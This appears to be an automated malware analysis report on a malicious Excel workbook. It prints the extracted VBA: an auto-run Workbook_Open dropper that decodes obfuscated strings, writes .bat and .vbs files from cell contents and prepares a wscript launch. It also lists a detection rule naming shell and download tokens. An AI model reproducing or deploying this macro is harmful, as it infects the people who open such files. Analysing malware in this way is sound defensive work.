Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3b6606122e7ea4df…

MALICIOUS

Office (OOXML)

19.3 KB Created: 2021-03-20 11:41:47 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-04-01
MD5: 9ba74d2f1f3b696993512d4904729dfe SHA-1: b7e4f77d3ccb1567823be6051fe2eb2463de5a03 SHA-256: 3b6606122e7ea4df714b64854278d2d0bfa323021353ec0116dd5f49919056f0
68 Risk Score

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1848 bytes
SHA-256: ad7e48601ce02af56f0b8e9eafee70f281ab42a38efa3418e557b6f2f29213b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
    
Private Sub Workbook_Open()
Range("A1").Value = Decode("/cbu")
Range("A2").Value = Decode("/wct")
Range("A4").Value = Decode(Range("A4").Value)
Dim filename1 As String
Dim linetext1 As String
Dim FileExtension1 As String
Dim filename2 As String
Dim linetext2 As String
Dim FileExtension2 As String
FileExtension1 = Range("A1").Value
FileExtension2 = Range("A2").Value

filename1 = ThisWorkbook.Path & "\Update1" & FileExtension1
Open filename1 For Output As #1
linetext1 = Range("A3").Value
Print #1, linetext1
Close #1

filename2 = ThisWorkbook.Path & "\Update2" & FileExtension2
Open filename2 For Output As #2
linetext2 = Range("A4").Value
Print #2, linetext2
Close #2

Decode ("Tifmm!#xtdsjqu#!'!gjmfobnf3-!wcOpsnbmGpdvt")



End Sub




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function Encode(a As String) As String

Dim i As Integer
Dim s As String
For i = 1 To Len(a)
    s = Mid(a, i, 1)
    s = Chr(Asc(s) + 1)
    
    Encode = Encode & s
        
Next i

End Function
Function Decode(a As String) As String

Dim i As Integer
Dim s As String

For i = 1 To Len(a)
    s = Mid(a, i, 1)
    
    s = Chr(Asc(s) - 1)
    
    Decode = Decode & s
    
Next i




End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 27648 bytes
SHA-256: 8d7083a08dceb39e5ddd38dd0321398c00a4d9dbc20cc925bfb8f5295f9da099

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